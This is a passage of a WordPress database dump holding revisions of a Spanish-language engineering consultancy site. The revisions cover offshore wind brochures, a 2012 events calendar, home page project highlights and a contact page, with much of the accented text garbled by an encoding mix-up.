<div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE PLATAFORMAS DE SUBESTACIONES ELÃ‰CTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingenierÃa marÃtima/costa afuera y la comprensiÃ³n de las necesidades de los parques eÃ³licos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÃ“N DE PROGRAMA DE PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eÃ³lico costa afuera crea muchos desafÃos para los desarrolladores. La industria y las regulaciones estÃ¡n en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÃ“LICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de EnergÃa de Aire Comprimido del OcÃ©ano (OCAES, por sus siglas en inglÃ©s)</strong><br />\r\n        Â¿QuÃ© es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnologÃa de compresor/expansor GCAESâ„¢ â€¢ Con base en la costa â€¢ Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','EnergÃa','','inherit','open','open','','60-revision-4','','','2012-05-29 06:00:13','2012-05-29 06:00:13','',60,'http://moffattnichol.com/spanish/60-revision-4/',0,'revision','',0),(2361,1,'2011-10-21 07:47:31','2011-10-21 07:47:31','<div class=\"content-speakers\">\n<h1>eventos presentados</h1>\n<div class=\"calender-left\">\n\n<strong>Conferencia costera ASBPA</strong>\n\n<span class=\"aapa-date\">28 de febrero - 1 de marzo, 2012</span>\n\n<em>Washington D.C.</em>\n<p class=\"events-textbox-one\">Esta conferencia atrae a Washington a todos los que participan en la preservaciÃ³n de las playas para compartir nuestra gran preocupaciÃ³n sobre la gestiÃ³n futura de las playas y riberas de Estados Unidos. Los polÃticos, cientÃficos, ingenieros, planificadores, funcionarios del gobierno y usuarios de las playas interesados obtendrÃ¡n una mirada muy de cerca de los aspectos crÃticos que afectan la preservaciÃ³n y gestiÃ³n de las playas y podrÃ¡n comunicarse directamente con sus principales responsables.</p>\n&nbsp;\n<p class=\"moreheadlines-newone\"><a title=\"MÃ¡s informaciÃ³n\" href=\"http://www.asbpa.org/conferences/sum_12.htm\">MÃ¡s informaciÃ³n</a>Â  | Â  <a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\n<p class=\"moreheadlines-newone\">Â </p>\n\n</div>\n<div class=\"calender-right\">\n\n<strong>Conferencia y cena de primavera por el centenario de la AAPA</strong>\n\n<span class=\"aapa-date\">18-21 de marzo, 2012</span>\n\n<em>Washington D.C.</em>\n<p class=\"events-textbox-one\">Viaje a la capital de EE.UU. a esta reuniÃ³n de profesionales portuarios de todo el hemisferio.Â Â Una de las dos reuniones anuales de miembros de la AAPA, la conferencia de primavera se celebra cada aÃ±o en Washington, D.C. y cuenta con sesiones generales asÃ como con reuniones del ComitÃ© y del Consejo.Â Â Â </p>\n<p class=\"events-textbox-one\">Â </p>\n<p class=\"moreheadlines-newone\"><a title=\"MÃ¡s informaciÃ³n\" href=\"http://www.aapa-ports.org/Programs/seminarschedule.cfm?itemnumber=18109\">MÃ¡s informaciÃ³n</a>Â  | Â  <a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\n\n</div>\n<div class=\"clear\"></div>\n<h3>calendario de eventos</h3>\n</div>','Calendario','','inherit','open','open','','240-revision','','','2011-10-21 07:47:31','2011-10-21 07:47:31','',240,'http://moffattnichol.com/spanish/240-revision/',0,'revision','',0),(2362,1,'2012-05-29 06:21:48','2012-05-29 06:21:48','<div class=\"content-speakers\">\r\n<h1>eventos presentados</h1>\r\n<div class=\"calender-left\">\r\n\r\n<strong>Conferencia costera ASBPA</strong>\r\n\r\n<span class=\"aapa-date\">28 de febrero - 1 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Esta conferencia atrae a Washington a todos los que participan en la preservaciÃ³n de las playas para compartir nuestra gran preocupaciÃ³n sobre la gestiÃ³n futura de las playas y riberas de Estados Unidos. Los polÃticos, cientÃficos, ingenieros, planificadores, funcionarios del gobierno y usuarios de las playas interesados obtendrÃ¡n una mirada muy de cerca de los aspectos crÃticos que afectan la preservaciÃ³n y gestiÃ³n de las playas y podrÃ¡n comunicarse directamente con sus principales responsables.</p>\r\n&nbsp;\r\n<p class=\"moreheadlines-newone\"><a title=\"MÃ¡s informaciÃ³n\" href=\"http://www.asbpa.org/conferences/sum_12.htm\">MÃ¡s informaciÃ³n</a>&nbsp; | &nbsp;<a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n<p class=\"moreheadlines-newone\">&nbsp;</p>\r\n\r\n</div>\r\n<div class=\"calender-right\">\r\n\r\n<strong>Conferencia y cena de primavera por el centenario de la AAPA</strong>\r\n\r\n<span class=\"aapa-date\">18-21 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Viaje a la capital de EE.UU. a esta reuniÃ³n de profesionales portuarios de todo el hemisferio.Â Â Una de las dos reuniones anuales de miembros de la AAPA, la conferencia de primavera se celebra cada aÃ±o en Washington, D.C. y cuenta con sesiones generales asÃ como con reuniones del ComitÃ© y del Consejo.Â Â Â </p>\r\n<p class=\"events-textbox-one\">&nbsp; </p>\r\n<p class=\"moreheadlines-newone\"><a title=\"MÃ¡s informaciÃ³n\" href=\"http://www.aapa-ports.org/Programs/seminarschedule.cfm?itemnumber=18109\">MÃ¡s informaciÃ³n</a>&nbsp; | &nbsp;<a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n\r\n</div>\r\n<div class=\"clear\"></div>\r\n<h3>calendario de eventos</h3>\r\n</div>','Calendario','','inherit','open','open','','240-revision-2','','','2012-05-29 06:21:48','2012-05-29 06:21:48','',240,'http://moffattnichol.com/spanish/240-revision-2/',0,'revision','',0),(2363,1,'2012-05-29 06:22:30','2012-05-29 06:22:30','<div class=\"content-speakers\">\r\n<h1>eventos presentados</h1>\r\n<div class=\"calender-left\">\r\n\r\n<strong>Conferencia costera ASBPA</strong>\r\n\r\n<span class=\"aapa-date\">28 de febrero - 1 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Esta conferencia atrae a Washington a todos los que participan en la preservaciÃ³n de las playas para compartir nuestra gran preocupaciÃ³n sobre la gestiÃ³n futura de las playas y riberas de Estados Unidos. Los polÃticos, cientÃficos, ingenieros, planificadores, funcionarios del gobierno y usuarios de las playas interesados obtendrÃ¡n una mirada muy de cerca de los aspectos crÃticos que afectan la preservaciÃ³n y gestiÃ³n de las playas y podrÃ¡n comunicarse directamente con sus principales responsables.</p>\r\n&nbsp;\r\n<p class=\"moreheadlines-newone\"><a title=\"MÃ¡s informaciÃ³n\" href=\"http://www.asbpa.org/conferences/sum_12.htm\">MÃ¡s informaciÃ³n</a>&nbsp; | &nbsp;<a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n<p class=\"moreheadlines-newone\">&nbsp;</p>\r\n\r\n</div>\r\n<div class=\"calender-right\">\r\n\r\n<strong>Conferencia y cena de primavera por el centenario de la AAPA</strong>\r\n\r\n<span class=\"aapa-date\">18-21 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Viaje a la capital de EE.UU. a esta reuniÃ³n de profesionales portuarios de todo el hemisferio.Â Â Una de las dos reuniones anuales de miembros de la AAPA, la conferencia de primavera se celebra cada aÃ±o en Washington, D.C. y cuenta con sesiones generales asÃ como con reuniones del ComitÃ© y del Consejo.</p>\r\n<p class=\"events-textbox-one\">&nbsp; </p>\r\n<p class=\"moreheadlines-newone\"><a title=\"MÃ¡s informaciÃ³n\" href=\"http://www.aapa-ports.org/Programs/seminarschedule.cfm?itemnumber=18109\">MÃ¡s informaciÃ³n</a>&nbsp; | &nbsp;<a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n\r\n</div>\r\n<div class=\"clear\"></div>\r\n<h3>calendario de eventos</h3>\r\n</div>','Calendario','','inherit','open','open','','240-revision-3','','','2012-05-29 06:22:30','2012-05-29 06:22:30','',240,'http://moffattnichol.com/spanish/240-revision-3/',0,'revision','',0),(2364,1,'2012-06-15 04:10:36','2012-06-15 04:10:36','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"Más acerca de Moffatt &amp; Nichol\" href=\"about-us\">Más acerca de Moffatt &amp; Nichol</a> | <a title=\"Ubicación de las oficinas\" href=\"our-offices\">Ubicación de las oficinas</a> | <a title=\"Información de contacto\" href=\"contact-us\">Información de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marítimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hídricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">Energía</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">Inspección y rehabilitación</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Ports, harbors, &amp; marine terminals\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparación de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol lideró una empresa conjunta con MN3M que proporcionó el planeamiento, el análisis, la representación gráfica, los documentos de contratos de diseño-licitación-construcción, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Coastal, environmental &amp; water resources\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de playas de Coney Island, Moffatt &amp; Nichol desarrolló <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transportation, bridge & rail\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Centro de transferencia de contenedores intermodal Chatham Yard</strong></div>\r\n                <div class=\"project_right\">Bajo un contrato en marcha de servicios profesionales con la autoridad portuaria de Georgia, Moffatt &amp; Nichol completó el planeamiento, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Urban waterfronts &amp; marinas\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Diseño de la ribera de South Lake Union Park</strong></div>\r\n                <div class=\"project_right\">Como parte de un equipo multidisciplinario, Moffatt &amp; Nichol proporcionó el diseño de ingeniería estructural y costera, además de la construcción<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Terminal de GNL Kitimat</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol completó la selección del lugar, las evaluaciones de navegación, el apoyo para la aplicación de los reglamentos, el diseño preliminar,<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspection &amp; rehabilitation\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-four.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">Rehabilitación del antiguo muelle 11A de la Marina</strong></div>\r\n              <div class=\"project_right\">Moffatt &amp; Nichol colaboró con el Puerto unificado de San Diego en la evaluación del antiguo y estratégicamente localizado muelle 11A de la Marina en San Diego <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer más</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-autosave','','','2012-06-15 04:10:36','2012-06-15 04:10:36','',19,'http://moffattnichol.com/spanish/19-autosave/',0,'revision','',0),(2365,1,'2011-10-17 14:43:18','2011-10-17 14:43:18','<div class=\"content_one\">\n  <div class=\"lft_content\">\n    <h1>acerca de moffatt &amp; nichol</h1>\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseÃ±o de las instalaciones que dan forma a nuestras lÃneas costeras, puertos y rÃos, asÃ como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\n    <div class=\"moreinformation\"><a title=\"MÃ¡s acerca de Moffatt &amp; Nichol\" href=\"about-us\">MÃ¡s acerca de Moffatt &amp; Nichol</a> | <a title=\"UbicaciÃ³n de las oficinas\" href=\"our-offices\">UbicaciÃ³n de las oficinas</a> | <a title=\"InformaciÃ³n de contacto\" href=\"contact-us\">InformaciÃ³n de contacto</a></div></div>\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\n</div>\n<div class=\"banner\">\n  <div class=\"slider-wrap\">\n  <ul id=\"movers-row\">\n              <li class=\"featured_projects\">proyectos especiales</li>\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marÃtimas</a></li>\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hÃdricos</a></li>\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">EnergÃa</a></li>\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">InspecciÃ³n y rehabilitaciÃ³n</a></li>\n            </ul>\n    <div id=\"main-photo-slider\" class=\"csw\">\n      <div class=\"panelContainer\">\n        <div class=\"panel\" title=\"Ports, harbors, &amp; marine terminals\">\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\n            <div class=\"photo-meta-data\">\n              <div class=\"project_title\">\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparaciÃ³n de naves</strong></div>\n                <div class=\"project_right\">Moffatt &amp; Nichol liderÃ³ una empresa conjunta con MN3M que proporcionÃ³ el planeamiento, el anÃ¡lisis, la representaciÃ³n grÃ¡fica, los documentos de contratos de diseÃ±o-licitaciÃ³n-construcciÃ³n, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer mÃ¡s</a></span></div>\n              </div>\n            </div>\n          </div>\n        </div>\n        <div class=\"panel\" title=\"Coastal, environmental &amp; water resources\">\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\n            <div class=\"photo-meta-data\">\n              <div class=\"project_title\">\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\n                <div class=\"project_right\">Como parte de un estudio que examinÃ³ el funcionamiento del proyecto de rellenado de playas de Coney Island, Moffatt &amp; Nichol desarrollÃ³ <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer mÃ¡s</a></span></div>\n              </div>\n            </div>\n          </div>\n        </div>\n        <div class=\"panel\" title=\"Transportation, bridge & rail\">\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\n            <div class=\"photo-meta-data\">\n              <div class=\"project_title\">\n                <div class=\"project_left\"><strong class=\"green\">Centro de transferencia de contenedores intermodal Chatham Yard</strong></div>\n                <div class=\"project_right\">Bajo un contrato en marcha de servicios profesionales con la autoridad portuaria de Georgia, Moffatt &amp; Nichol completÃ³ el planeamiento, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\n              </div>\n            </div>\n          </div>\n        </div>\n        <div class=\"panel\" title=\"Urban waterfronts &amp; marinas\">\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\n            <div class=\"photo-meta-data\">\n              <div class=\"project_title\">\n                <div class=\"project_left\"><strong class=\"green\">DiseÃ±o de la ribera de South Lake Union Park</strong></div>\n                <div class=\"project_right\">Como parte de un equipo multidisciplinario, Moffatt &amp; Nichol proporcionÃ³ el diseÃ±o de ingenierÃa estructural y costera, ademÃ¡s de la construcciÃ³n <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer mÃ¡s</a></span></div>\n              </div>\n            </div>\n          </div>\n        </div>\n        <div class=\"panel\" title=\"Energy\">\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\n            <div class=\"photo-meta-data\">\n              <div class=\"project_title\">\n                <div class=\"project_left\"><strong class=\"green\">Terminal de GNL Kitimat</strong></div>\n                <div class=\"project_right\">Moffatt &amp; Nichol completÃ³ la selecciÃ³n del lugar, las evaluaciones de navegaciÃ³n, el apoyo para la aplicaciÃ³n de los reglamentos, el diseÃ±o preliminar, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer mÃ¡s</a></span></div>\n              </div>\n            </div>\n          </div>\n        </div>\n        <div class=\"panel\" title=\"Inspection &amp; rehabilitation\">\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-four.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\n          <div class=\"photo-meta-data\">\n            <div class=\"project_title\">\n              <div class=\"project_left\"><strong class=\"green\">RehabilitaciÃ³n del antiguo muelle 11A de la Marina</strong></div>\n              <div class=\"project_right\">Moffatt &amp; Nichol colaborÃ³ con el Puerto unificado de San Diego en la evaluaciÃ³n del antiguo y estratÃ©gicamente localizado muelle 11A de la Marina en San Diego <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer mÃ¡s</a></span></div>\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>','Inicio','','inherit','open','open','','19-revision','','','2011-10-17 14:43:18','2011-10-17 14:43:18','',19,'http://moffattnichol.com/spanish/19-revision/',0,'revision','',0),(2375,1,'2012-05-29 04:44:10','2012-05-29 04:44:10','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contÃ¡ctenos</h1>\r\n            Si desea informaciÃ³n sobre nuestros mercados y Ã¡reas de especializaciÃ³n, complete el formulario y un representante de Moffatt & Nichol se pondrÃ¡ en contacto con usted a la brevedad. \r\n\r\n            TambiÃ©n puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\" title=\"nuestras oficinas\">nuestras oficinas</a> para ponerse en contacto con alguien en su Ã¡rea.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              ConÃ©ctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El Ã©xito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Ãšnase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\" title=\"pÃ¡gina de empleos\">pÃ¡gina de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. Si desea conocer mÃ¡s sobre nuestras oportunidades para pequeÃ±as empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\" title=\"pÃ¡gina de participaciÃ³n de pequeÃ±as empresas\">pÃ¡gina de participaciÃ³n de pequeÃ±as empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"861\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ContÃ¡ctenos','','inherit','open','open','','16-revision-2','','','2012-05-29 04:44:10','2012-05-29 04:44:10','',16,'http://moffattnichol.com/spanish/16-revision-2/',0,'revision','',0),(2376,1,'2012-05-29 09:51:15','2012-05-29 09:51:15','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contÃ¡ctenos</h1>\r\n            Si desea informaciÃ³n sobre nuestros mercados y Ã¡reas de especializaciÃ³n, complete el formulario y un representante de Moffatt & Nichol se pondrÃ¡ en contacto con usted a la brevedad. \r\n\r\n            TambiÃ©n puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\" title=\"nuestras oficinas\">nuestras oficinas</a> para ponerse en contacto con alguien en su Ã¡rea.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              ConÃ©ctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El Ã©xito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Ãšnase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\" title=\"pÃ¡gina de empleos\">pÃ¡gina de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participaciÃ³n de pequeÃ±as empresas</h3> 